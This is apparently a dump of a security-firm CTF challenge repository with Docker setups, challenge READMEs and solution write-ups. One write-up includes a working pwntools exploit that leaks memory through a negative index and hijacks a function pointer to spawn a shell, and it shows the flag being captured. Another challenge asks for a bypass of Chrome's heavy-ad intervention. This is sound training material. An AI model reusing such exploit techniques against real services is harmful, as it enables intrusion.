/home/ctf/ld-2.23.so 16 | ADD challenge/libc-2.23.so /home/ctf/libc-2.23.so 17 | ADD challenge/libpthread-2.23.so /home/ctf/libpthread-2.23.so 18 | ADD challenge/helper.sh /home/ctf/helper.sh 19 | ADD challenge/launch.sh /home/ctf/launch.sh 20 | 21 | # Set some proper permissions 22 | RUN chown -R root:ctf /home/ctf 23 | RUN chmod 750 /home/ctf/checker 24 | RUN chmod 750 /home/ctf/launch.sh 25 | RUN chmod 440 home/ctf/flag 26 | 27 | USER ctf 28 | # If people complain about the server NOT being easy enough to pop a shell on, then add a 'nice' value to it. 29 | # Something like 'nice -5 /home/ctf/launch.sh' or add the niceness directly to the launch/helper scripts. 30 | # https://linux.die.net/man/1/nice 31 | ENTRYPOINT cd /home/ctf && /home/ctf/launch.sh 32 | -------------------------------------------------------------------------------- /binary-2020-12/README.md: -------------------------------------------------------------------------------- 1 | # Welcome to our December - 2020 challenge 2 | This challenge comes as a binary running inside a Docker with certain vulnerabilities in it! 3 | First one to solve it, email us the solution to contact@ssd-disclosure.com for a chance to win a 100$ Amazon gift card. 4 | 5 | Solutions should be provided in: 6 | 1. python2 or python3 (preferred) form 7 | 2. Solution should connect via port 2324 to the running Docker and obtain the `/home/ctf/flag` and display it to the person running the script 8 | 3. If you are not using existing modules, provide a `requirements.txt` file 9 | 10 | ## Notes on files under challenge folder 11 | While the `flag`, `checker` (hash: 894b94851180f62992728605e53580e6c4ceae4b16ac9ed952918faab0b5d462), `launch.sh` are here to help you understand the challenge - they should not be modifying in any way in order to win the challenge - we will be running the original binary in our environment. 12 | 13 | 14 | ## Notes on setting on the ENV for the challenge 15 | ### Build container 16 | ```bash 17 | sudo docker build --tag prime_checker . 18 | ``` 19 | 20 | ### Run container with port 2324 being exposed 21 | ```bash 22 | sudo docker run --detach -p 2324:2324 prime_checker 23 | ``` 24 | 25 | ### Debugging 26 | ```bash 27 | sudo docker exec -it bash 28 | ``` 29 | -------------------------------------------------------------------------------- /binary-2020-12/challenge/checker: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ssd-secure-disclosure/challenges/4d71e1bd3a6061864d511be74109efd21aa047aa/binary-2020-12/challenge/checker -------------------------------------------------------------------------------- /binary-2020-12/challenge/flag: -------------------------------------------------------------------------------- 1 | S3D{threads_are_so_fun!} 2 | -------------------------------------------------------------------------------- /binary-2020-12/challenge/helper.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | #LD_PRELOAD="./libc.so.6 ./libpthread.so" ./ld.so ./checker 4 | LD_PRELOAD="./libc-2.23.so ./libpthread-2.23.so" ./ld-2.23.so ./checker 5 | #./checker 6 | -------------------------------------------------------------------------------- /binary-2020-12/challenge/launch.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | while true 4 | do 5 | echo "Starting Program..." 6 | socat TCP-LISTEN:2324,reuseaddr,fork EXEC:"./helper.sh" 7 | done 8 | -------------------------------------------------------------------------------- /binary-2020-12/challenge/ld-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ssd-secure-disclosure/challenges/4d71e1bd3a6061864d511be74109efd21aa047aa/binary-2020-12/challenge/ld-2.23.so -------------------------------------------------------------------------------- /binary-2020-12/challenge/libc-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ssd-secure-disclosure/challenges/4d71e1bd3a6061864d511be74109efd21aa047aa/binary-2020-12/challenge/libc-2.23.so -------------------------------------------------------------------------------- /binary-2020-12/challenge/libpthread-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ssd-secure-disclosure/challenges/4d71e1bd3a6061864d511be74109efd21aa047aa/binary-2020-12/challenge/libpthread-2.23.so -------------------------------------------------------------------------------- /binary-2020-12/deploy.sh: -------------------------------------------------------------------------------- 1 | # Notes on setting on the ENV for the challenge 2 | # Build container 3 | docker build --tag prime_checker . 4 | 5 | # Run container with port 2323 being exposed 6 | docker run --detach -p 2324:2324 prime_checker 7 | 8 | # Debugging 9 | # sudo docker exec -it bash 10 | -------------------------------------------------------------------------------- /binary-2020-12/solution/README.md: -------------------------------------------------------------------------------- 1 | # SSD December Challenge (by Juno Im of [theori](https://theori.io) - [@junorouse](https://twitter.com/junorouse)) 2 | 3 | ## Introduction 4 | 5 | This program (prime_checker) is a simple binary that tells you if the input value (integer) is a prime number. There are 3 features in the main function, 6 | "Check value Options" that set parameters, "Show results" that show , and "Exit" that you can exit the program. 7 | 8 | ### Check value Options 9 | 10 | ```c 11 | int printSubMenu() 12 | { 13 | puts("1. Make Req"); 14 | puts("2. View Req"); 15 | puts("3. Set Num"); 16 | puts("4. Set Type"); 17 | puts("5. Send Req"); 18 | puts("6. Exit"); 19 | return putchar('>'); 20 | } 21 | ``` 22 | 23 | #### Vulnerability A 24 | 25 | The following is the code when you choose the "2. View Req" feature: 26 | 27 | ```c 28 | int index; 29 | 30 | ... 31 | 32 | else if ( choice == 2 ) 33 | { 34 | printf("Index to view: "); 35 | fgets(&s, 10, stdin); 36 | index = atoi(&s); 37 | if ( index >= requestCount ) [1] 38 | { 39 | puts("Invalid Index"); 40 | } 41 | else 42 | { 43 | printf("Req #%d\n", index); 44 | printf("Number: %lld\n", Numbers[index].value_0); 45 | printf("Type: %d\n", (LODWORD(Numbers[index].type) | HIDWORD(Numbers[index].type))); 46 | } 47 | ``` 48 | 49 | The part indicated by [1] does not perform integer overflow checks against index. This allows to induce arbitrary memory leak by accessing with negative index. 50 | 51 | ### Show results 52 | 53 | The code to show results is as follows: 54 | 55 | ```c 56 | 57 | if ( result != 2 ) 58 | break; 59 | printf("Index to view: "); 60 | fgets(&s, 10, stdin); 61 | index = atoi(&s); 62 | if ( index < 0 || index >= inputCount ) [2] 63 | puts("Invalid index"); 64 | (RequestQueue[index].funcPtr)(index); 65 | } 66 | ``` 67 | 68 | It gets an element of `RequestQueue` by entered index and call its function pointer 69 | 70 | #### Vulnerability B 71 | 72 | In [2], the check is also perfomed to ensure that the index is not out-of-bound. 73 | On the other hand, when you entered out of bound index it just prints "Invalid Index" and do nothing. 74 | Therefore, you can call function pointer at arbitrary address((0x18 * index) + 0x8; 0x8 is function pointer offset) through out-of-bound access. 75 | 76 | # Exploit 77 | 78 | You can leak the PIE/Library base via vulnerability A, however you don't know stack/heap address which stores our input data from fgets / set value feature. 79 | But you can easily figure out that the offset difference between the PIE base and the thread stack is always (90%) same through debugging. 80 | 81 | The function which called inside the pthread follows: 82 | 83 | ```asm 84 | .text:0000000000000F5F ; __unwind { 85 | .text:0000000000000F5F push rbp 86 | .text:0000000000000F60 mov rbp, rsp 87 | .text:0000000000000F63 sub rsp, 20h 88 | .text:0000000000000F67 mov [rbp+var_18], rdi ; our lld input via set value feature 89 | .text:0000000000000F6B mov eax, cs:IfIsLastThenSleep 90 | .text:0000000000000F71 cmp eax, 1 91 | .text:0000000000000F74 jnz short loc_F8C 92 | .text:0000000000000F76 lea rdi, aLetSTakeA2Seco ; "Let's take a 2. second moment of silenc"... 93 | .text:0000000000000F7D call puts 94 | .text:0000000000000F82 mov edi, 2 ; seconds 95 | .text:0000000000000F87 call sleep 96 | .text:0000000000000F8C 97 | .text:0000000000000F8C loc_F8C: ; CODE XREF: calcNoobIsPrime+15↑j 98 | ``` 99 | 100 | - `rbp-var_18 - PIE base` == -695656 101 | 102 | ## Script 103 | 104 | ```python 105 | #!/usr/bin/env python 106 | from pwn import * 107 | 108 | context.terminal = ['tmux', 'splitw', '-h'] 109 | context.log_level = 'error' 110 | 111 | # r = process(['./ld-2.23.so', './checker'], env={'LD_PRELOAD': './libc-2.23.so ./libpthread-2.23.so'}) 112 | while True: 113 | try: 114 | r = remote('0', 2324) 115 | r.sendlineafter('>', '1') # check value options 116 | # context.log_level = 'debug' 117 | 118 | # vuln A 119 | # -276 => 0x555555554734; symbol version table 120 | r.sendlineafter('>', '2') # view req 121 | r.sendlineafter(':', '-276') 122 | r.recvuntil('Number: ') 123 | pie_base = int(r.recvuntil('\n').strip()) - 0x734 124 | print 'pie_base: 0x%X' % pie_base 125 | 126 | r.sendlineafter('>', '1') # make req 127 | r.sendlineafter('>', '3') # set number 128 | r.sendlineafter(':', str(pie_base + 0xf32)) # rip 129 | r.sendlineafter('>', '4') # set type 130 | r.sendlineafter(':', '5') # is last | type(1) 131 | r.sendlineafter('>', '5') # go 132 | 133 | # vuln B 134 | r.sendlineafter('>', '2') 135 | r.sendlineafter(':', '-695656') # rbp-var_18 - PIE base 136 | r.recvuntil('\n') 137 | r.sendline('id') 138 | r.recv(4096) 139 | 140 | r.interactive() 141 | break 142 | except: 143 | r.close() 144 | continue 145 | ``` 146 | 147 | 148 | ``` 149 | ➜ binary-2020-12 git:(master) ✗ ./solve.py 150 | pie_base: 0x7FCB120C2000 151 | pie_base: 0x7F34E58B9000 152 | pie_base: 0x7EFC71420000 153 | pie_base: 0x7F4960BE2000 154 | pie_base: 0x7F1DC1750000 155 | pie_base: 0x7F45F7D75000 156 | pie_base: 0x7FD66633E000 157 | pie_base: 0x7F51C09CB000 158 | pie_base: 0x7F430E918000 159 | pie_base: 0x7F16D5D74000 160 | $ ls 161 | checker 162 | flag 163 | helper.sh 164 | launch.sh 165 | ld-2.23.so 166 | libc-2.23.so 167 | libpthread-2.23.so 168 | $ cat flag 169 | S3D{threads_are_so_fun!} 170 | $ 171 | ``` 172 | -------------------------------------------------------------------------------- /binary-2021-11-23/README.md: -------------------------------------------------------------------------------- 1 | # Welcome to our November - 2021 challenge 2 | This challenge comes as a binary memory dump file. The challenge is to analyse the memory dump and figure out what has occurred and uncover the flag found inside it. 3 | 4 | # Flag structure 5 | The flag will be structured as: 6 | `SSD{...}` 7 | 8 | # Solutions 9 | Send your solution guide and flag to contact@ssd-disclosure.com for your chance to win! 10 | -------------------------------------------------------------------------------- /binary-2021-11-23/mspaint.exe.dmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ssd-secure-disclosure/challenges/4d71e1bd3a6061864d511be74109efd21aa047aa/binary-2021-11-23/mspaint.exe.dmp -------------------------------------------------------------------------------- /chrome-ad-heavy/README.md: -------------------------------------------------------------------------------- 1 | # TyphoonCon 2021 Chrome Ad-Heavy Bypass Challenge 2 | # We will be accepting multiple submission, each eligible up to $15,000 USD in rewards. 3 | 4 | ## Introduction 5 | During July 2021, SSD Secure Disclosure hosted TyphoonCon 2021 Capture the flag: a four-day competition, with specially crafted challenges alongside fantastic prizes all focused on reverse engineering and vulnerability research. 6 | 7 | Feedback received for the Chrome challenge posted in the CTF, made us realize that Chrome vulnerabilities and bypasses could use some more exposure. This more focused task will hopefully encourage people to study the Chrome browser and solve parts of the challenge presented. 8 | 9 | *Note that the challenge below is not vulnerability-based, but meant to test your knowledge of how Chrome inner workings and its internal mechanisms.* 10 | 11 | ## Technical Details 12 | The following is a challenge to discover a bypass for one of Chrome’s newest features: 13 | 14 | As part of Chrome 85, Google released a feature dubbed: ‘Heavy Ad Intervention’. This feature’s goal is to stop the execution of ads that consume too much CPU or network bandwidth without the user’s consent – more information about Ad Tagging can be found in ‘Handling Heavy Ad Interventions’ at developers.google.com 15 | 16 | The following files create a heavy-ad that Chrome will kill (a few seconds after it opens the page). The successful solution, should provide a script that is inserted with the ad and allows the ad to run regardless of the heavy-ad restrictions. 17 | 18 | Four files are provided: 19 | 1) index.html – the main site users visit 20 | 2) gads.js – the file that adds the ‘advertisement’ 21 | 3) adunit.html – The heavy-ad 22 | 4) big.bin – a heavy file that the ad should try to download to simulate heavy traffic. 23 | 24 | ## Objective 25 | The participants are expected to modify the adunit.html file so that it will exceed (by downloading big.bin) the amount of network usage and the ad will not be removed by Chrome. 26 | 27 | In essence, if you are able to download big.bin and still keep the ad running, you have bypassed the Chrome heavy-ad intervention mechanism and solved the challenge. 28 | 29 | ## Testing the bypass 30 | * Use https://heavy-ads.glitch.me , which loads a given iframe inside an ad tagged frame. -------------------------------------------------------------------------------- /chrome-ad-heavy/adunit.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 14 | 15 | 16 | The frame will now start violating the heavy ad intervention rules, please hold... 17 |

DO NOT CLICK THIS FRAME!

18 | Clicking this frame will disable heavy ad intervention on it 19 | 20 |
21 |

22 | To ensure this is an ad: 23 |

    24 |
  1. Open DevTools (Ctrl + Shift + I)
  2. 25 |
  3. Cutsomize and control DevTools (Three vertical dots) -> More tools -> Rendering
  4. 26 |
  5. Enable `Highlight ad frames`
  6. 27 |
28 | 29 | Verify that this frame is then colored red to ensure it is detected as an ad-frame by Chrome. 30 |

31 | 35 | 36 | 43 | 44 | 45 | -------------------------------------------------------------------------------- /chrome-ad-heavy/gads.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | const iframe = document.createElement("iframe"); 4 | iframe.src = "adunit.html"; 5 | iframe.style = "width: 98vw; height: 60vh"; 6 | document.body.appendChild(iframe); 7 | -------------------------------------------------------------------------------- /chrome-ad-heavy/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 |

Hello! This is the main site.

5 |

The ad should be loaded below:

6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /max_debugger/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:bionic 2 | 3 | ENV DEBIAN_FRONTEND noninteractive 4 | 5 | # Update 6 | RUN apt-get update -y 7 | RUN apt-get install -y vim tmux gdb strace gcc git 8 | RUN apt-get install -y python3-pip socat python3 9 | 10 | # Create ctf-user 11 | RUN groupadd -r ctf && useradd -r -g ctf ctf 12 | RUN mkdir /home/ctf 13 | 14 | # Where to store users 15 | RUN mkdir /home/ctf/programs/ 16 | RUN chmod 111 /home/ctf/programs/ 17 | RUN groupadd -r debugger && useradd -r -g debugger debugger 18 | 19 | # Challenge files 20 | ADD flag /home/ctf/flag 21 | ADD MaxDebugger /home/ctf/MaxDebugger 22 | ADD startup.sh /home/ctf/startup.sh 23 | ADD program.py /home/ctf/program.py 24 | 25 | # Set some proper permissions for the container 26 | RUN chown -R ctf:ctf /home/ctf 27 | 28 | # For using the flag later 29 | RUN chown root:ctf /home/ctf/MaxDebugger 30 | 31 | # Only the root user can RUN/open these 32 | RUN chmod 700 /home/ctf/MaxDebugger 33 | RUN chmod 700 /home/ctf/startup.sh 34 | RUN chmod 700 /home/ctf/program.py 35 | RUN chown -R root:root /home/ctf/flag 36 | RUN chmod 400 /home/ctf/flag 37 | 38 | # For the entrypoint, we'll startup the daemon for reading in files 39 | ENTRYPOINT cd /home/ctf && ./startup.sh 40 | -------------------------------------------------------------------------------- /max_debugger/MaxDebugger: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ssd-secure-disclosure/challenges/4d71e1bd3a6061864d511be74109efd21aa047aa/max_debugger/MaxDebugger -------------------------------------------------------------------------------- /max_debugger/README.md: -------------------------------------------------------------------------------- 1 | # How to Compile 2 | `gcc hacker.c -o hacker -ggdb -static` 3 | The program must be compiled statically and with symbols. Otherwise, the program will immedateily crash. 4 | -------------------------------------------------------------------------------- /max_debugger/docker_deploy.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Build the container 4 | sudo docker build --tag max_debugger . || exit 5 | 6 | # Run the container 7 | # DEBUG version for easier debuging 8 | #sudo docker run -d --privileged --cap-add sys_admin --security-opt apparmor:unconfined -p 2326:2326 -it max_debugger sleep infinity || exit 9 | 10 | sudo docker run -d -p 2326:2326 --cap-add=SYS_PTRACE -it max_debugger sleep infinity || exit 11 | 12 | # DEBUG version -- goes into the container automatically 13 | docker_ps=$(sudo docker ps -q | head -n1) 14 | sudo docker exec -u root -it $docker_ps /bin/bash 15 | -------------------------------------------------------------------------------- /max_debugger/flag: -------------------------------------------------------------------------------- 1 | To win you need to send contact@ssd-disclosure.com your exploit 2 | -------------------------------------------------------------------------------- /max_debugger/program.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import uuid 4 | import shutil 5 | import string 6 | 7 | # Gets the file from the user 8 | def get_file(): 9 | # Get the size of the file 10 | print("Size: ") 11 | size = int(input()) 12 | 13 | if(size > 1000000): 14 | print("File too big") 15 | sys.exit(0) 16 | 17 | print("File Contents") 18 | print("=================") 19 | 20 | file_contents = sys.stdin.buffer.read(size) 21 | return file_contents 22 | 23 | # Write a file 24 | def write_file(name, contents): 25 | fd = open(name, "wb+") 26 | fd.write(contents) 27 | fd.close() 28 | 29 | # Specify the permissions of the file 30 | os.chown(name, 0, 0) # Root user 31 | os.chmod(name, 0o777) # Read & execute 32 | 33 | # Clean up the current execution 34 | def cleanup(foldername): 35 | shutil.rmtree(foldername) 36 | 37 | # Setup process information for a user making a call 38 | def setup_call(): 39 | 40 | filename = str(uuid.uuid4()) 41 | foldername = str(uuid.uuid4()) 42 | folder = "/home/ctf/programs/" 43 | 44 | # Get the file from the user 45 | contents = get_file() 46 | 47 | # Location of the chroot jail 48 | os.mkdir(folder + foldername) 49 | os.mkdir(folder + foldername + "/etc") 50 | 51 | # Copy the standard user information here 52 | shutil.copy("/etc/passwd", folder + foldername + "/etc/passwd") 53 | 54 | # Move the current working directory in here for later 55 | os.chdir(folder + foldername) 56 | 57 | # User executable to create 58 | write_file(folder + foldername + "/" + filename, contents) 59 | 60 | # No special characters, spaces and (most importantly) "."s 61 | allowlist = set(string.ascii_lowercase + string.digits + "/" + "-") 62 | filename = ''.join(c for c in filename if c in allowlist) 63 | 64 | command = "/home/ctf/MaxDebugger " + "./" + filename 65 | os.system(command) 66 | cleanup(folder + foldername) 67 | 68 | setup_call() 69 | -------------------------------------------------------------------------------- /max_debugger/startup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | socat TCP-LISTEN:2326,reuseaddr,fork EXEC:"python3 -u /home/ctf/program.py" 4 | 5 | 6 | -------------------------------------------------------------------------------- /photo-2018-01/README.md: -------------------------------------------------------------------------------- 1 | # Introduction 2 | This challenge is a bit different, its an HTML + JPG file that need to be solved. 3 | -------------------------------------------------------------------------------- /photo-2018-01/challenge/2018_2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ssd-secure-disclosure/challenges/4d71e1bd3a6061864d511be74109efd21aa047aa/photo-2018-01/challenge/2018_2.jpg -------------------------------------------------------------------------------- /photo-2018-01/challenge/README.md: -------------------------------------------------------------------------------- 1 | # Happy new year everyone! 2 | 3 | Hope you had the chance to celebrate and think about all the good things that happened to you in 2017. 4 | We have a nice surprise for you – this link is worth 1,000$ USD !* 5 | 6 | ![2018_2.jpg](2018_2.jpg) 7 | 8 | *You don’t need to hack the website, the money is out there in the link* 9 | 10 | We also have some new updates for you: 11 | # beVX Conference 12 | Beyond Security with VX will have the first all offensive security conference in Hong Kong – beVX Conference. 13 | 14 | The conference will take place at Hong Kong (we will announce the venue in the next couple of weeks) 15 | 16 | What we will have in the conference? 17 | * One full day of workshop on vulnerability research and exploit development 18 | * One full day of lectures on vulnerability research and exploit development 19 | * Hack2Win eXtreme with hundreds of thousands of dollars of prizes 20 | 21 | Stay tune for more details! 22 | 23 | # Conferences: 24 | * Offensivecon (Berlin, Germany, 16-17 February 2018) 25 | * CanSecWest (Vancouver, Canada, 14-16 March 2018) 26 | * Nopcon (Istanbul, Turkey, 3 May 2018) 27 | 28 | We provide free entry tickets, up to 1000$ in flights and accommodation to our security researchers community! 29 | 30 | Also, if you plan to attend (and even if you don’t need the ticket or reimbursement) let me know so that I can look for you and say hello. 31 | 32 | If any of you guys are interested in attending drop me an email. 33 | 34 | We also started to look for 2018 Q2 conferences. If you know about inserting conference – email me. 35 | 36 | # Friend refer a friend program 37 | We had a great year of 2017 with our friends program and have therefore decided to improve it and make the benefit much bigger, if you refer us a new researcher and he will start working with us on Operating systems / Mobile / Web Browsers – you will get 10,000$ USD. 38 | 39 | For other vulnerabilities – you will get 1,000$ USD. 40 | 41 | Once again – Happy new year! -------------------------------------------------------------------------------- /photo-2018-01/solution/README.md: -------------------------------------------------------------------------------- 1 | # Introduction 2 | The challenge was split into two parts: 3 | 1. Finding it 4 | 2. Solving it 5 | 6 | Finding it wasn’t very hard, the challenge was hidden inside the image, it wasn’t anything fancy, just inside the image you had a zip file appended to the end of the file: 7 | 8 | ``` 9 | wget https://blogs.securiteam.com/wp-content/uploads/2018/01/2018_2.jpg 10 | --2018-01-04 07:XX:XX-- https://blogs.securiteam.com/wp-content/uploads/2018/01/2018_2.jpg 11 | Resolving blogs.securiteam.com... 104.196.190.188 12 | Connecting to blogs.securiteam.com|104.196.190.188|:443... connected. 13 | HTTP request sent, awaiting response... 200 OK 14 | Length: 84283 (82K) [image/jpeg] 15 | Saving to: ‘2018_2.jpg’ 16 | 2018_2.jpg 100%[=================================================>] 82.31K 321KB/s in 0.3s 17 | 2018-01-04 07:XX:XX (321 KB/s) - ‘2018_2.jpg’ saved [84283/84283] 18 | 19 | $ xxd 2018_2.jpg | tail 20 | 000148a0: 0000 e817 0000 0900 1800 0000 0000 0000 ................ 21 | 000148b0: 0000 fd81 0000 0000 6368 616c 6c65 6e67 ........challeng 22 | 000148c0: 6555 5405 0003 b50b 495a 7578 0b00 0104 eUT.....IZux.... 23 | 000148d0: e803 0000 04e8 0300 0050 4b01 021e 0314 .........PK..... 24 | 000148e0: 0000 0008 009b 9021 4c14 3bc1 9d86 0000 .......!L.;..... 25 | 000148f0: 009c 0000 0006 0018 0000 0000 0001 0000 ................ 26 | 00014900: 00b4 817b 0900 0052 4541 444d 4555 5405 ...{...READMEUT. 27 | 00014910: 0003 265c 4a5a 7578 0b00 0104 e803 0000 ..&\JZux........ 28 | 00014920: 04e8 0300 0050 4b05 0600 0000 0002 0002 .....PK......... 29 | 00014930: 009b 0000 0041 0a00 0000 00 .....A..... 30 | ``` 31 | 32 | If you binwalk inspect the file you will see: 33 | 34 | ``` 35 | $ binwalk 2018_2.jpg 36 | DECIMAL HEXADECIMAL DESCRIPTION 37 | -------------------------------------------------------------------------------- 38 | 0 0x0 JPEG image data, JFIF standard 1.01 39 | 81481 0x13E49 Zip archive data, at least v2.0 to extract, compressed size: 2360, uncompressed size: 6120, name: challenge 40 | 83908 0x147C4 Zip archive data, at least v2.0 to extract, compressed size: 134, uncompressed size: 156, name: README 41 | 84261 0x14925 End of Zip archive 42 | ``` 43 | 44 | This looks really promising now, a ZIP file has been appended to the image, and binwalk tells us it’s located at offset 81481. We can use dd to get the archive. 45 | 46 | ``` 47 | $ dd if=2018_2.jpg of=challenge.zip bs=1 skip=81481 48 | 2802+0 records in 49 | 2802+0 records out 50 | 2802 bytes (2.8 kB, 2.7 KiB) copied, 0.00661634 s, 423 kB/s 51 | ``` 52 | 53 | Binwalk also tells us, there are two files inside the archive (challenge and README). Use unzip to get them. 54 | ``` 55 | $ unzip challenge.zip 56 | Archive: challenge.zip 57 | inflating: challenge 58 | inflating: README 59 | ``` 60 | 61 | The *readme* is pretty simple, just instructed you to make the challenge ELF binary file spit out text: 62 | ``` 63 | Make 'challenge' output the following text (without a new line): 64 | Happy New Year! From Beyond Security SSD :) 65 | First correct submission will get 1,000$ USD! 66 | ``` 67 | 68 | From this point the solution varied, our first solver reversed engineered the file and discovered what it does, which basically breaks down to: 69 | ``` 70 | int main(int argc, char **argv, char **envp) 71 | { 72 | int ret; 73 | char filename[9]; 74 | char key[13]; 75 | strcpy(filename, "eapfxlya"); 76 | strcpy(key, "\xFF\x6B\x28\x66\xD6\x35\xDA\x01\x4D\x64\x47\xA3"); 77 | ret = challenge(filename, key); 78 | return ret; 79 | } 80 | int keyhash(const char *key) 81 | { 82 | int ret; 83 | unsigned int i; 84 | ret = 0; 85 | for ( i = 0; i < strlen(key); ++i ) 86 | ret = _rotl(key[i] ^ ret, 7); 87 | return ret; 88 | } 89 | int decode(unsigned int *key, char *out, unsigned int size) 90 | { 91 | int result; 92 | int i; 93 | for ( i = 0; ; ++i ) 94 | { 95 | result = i; 96 | if ( i >= size ) 97 | break; 98 | *key *= 0x8088405; 99 | out[i] ^= ++*key >> 24; 100 | } 101 | return result; 102 | } 103 | int challenge(const char *filename, char *key) 104 | { 105 | int result; 106 | int seed; 107 | unsigned int n; 108 | FILE *fp; 109 | char *ptr; 110 | fp = fopen(filename, "rb"); 111 | if ( fp ) 112 | { 113 | n = 1; 114 | seed = keyhash(key); 115 | while ( n ) 116 | { 117 | ptr = (char *)malloc(0x200uLL); 118 | n = fread(ptr, 1uLL, 0x200uLL, fp); 119 | decode(&seed, ptr, n); 120 | write(1, ptr, n); 121 | } 122 | fclose(fp); 123 | putchar('\n'); 124 | result = 1; 125 | } 126 | else 127 | { 128 | puts("file does not exist!"); 129 | result = 0; 130 | } 131 | return result; 132 | } 133 | ``` 134 | 135 | The program executes the following actions: 136 | 1. Open an encrypted file named “eapfxlya” (this can be confirmed with strace) 137 | 2. Generate a 32-bit key based on “\xFF\x6B\x28\x66\xD6\x35\xDA\x01\x4D\x64\x47\xA3” (see function keyhash) 138 | 3. Read the contents of the opened file 139 | 4. Decode it with XOR/ADD/MUL/SHR tricks (see function decode) 140 | 141 | The keyhash function is pretty straight-forward so let’s have a closer look at the decode function. 142 | 143 | It’s purpose is to generate a sequence of 32-bit numbers based on a linear congruential generator (aka *predictive* pseudo number generator) which takes a precomputed hash for seed. 144 | 145 | Each number of this sequence is then shifted right and used as a 8-bit xor-mask on every byte in the file stream. 146 | 147 | In conclusion, this program can be used to decode and encode any file in a symmetric way. So let’s use the happy new year string “Happy New Year! From Beyond Security SSD :)” and feed it into the reversed program. 148 | 149 | ``` 150 | $ echo -ne "Happy New Year! From Beyond Security SSD :)" > eapfxlya 151 | $ ./challenge > tmp 152 | $ dd if=tmp of=eapfxlya bs=43 count=1 # don't forget, it's without a new line 153 | $ ./challenge 154 | Happy New Year! From Beyond Security SSD :) 155 | ``` 156 | Congratulations to: **Alexandre** for solving the challenge first (within 2 hours of posting it online). 157 | A few other solutions we received included a brute forcing code (a cool one from **Tukan**): 158 | ``` 159 | root@ubuntu-512mb-ams2-01:~# cat solver.py 160 | import sys 161 | def reversit(inp, checksum=0xf5f6103f): 162 | out = '' 163 | for c in inp: 164 | checksum *= 0x08088405 165 | checksum &= 2**32-1 166 | checksum += 1 167 | outc = ord(c) ^ ((checksum) >> 24) 168 | out += chr(outc) 169 | return out 170 | winner = reversit('Happy New Year! From Beyond Security SSD :)' + '\x1b' + 'P') 171 | sys.stdout.write(winner) 172 | root@ubuntu-512mb-ams2-01:~# python solver.py > eapfxlya 173 | root@ubuntu-512mb-ams2-01:~# ./challenge 174 | ``` 175 | --------------------------------------------------------------------------------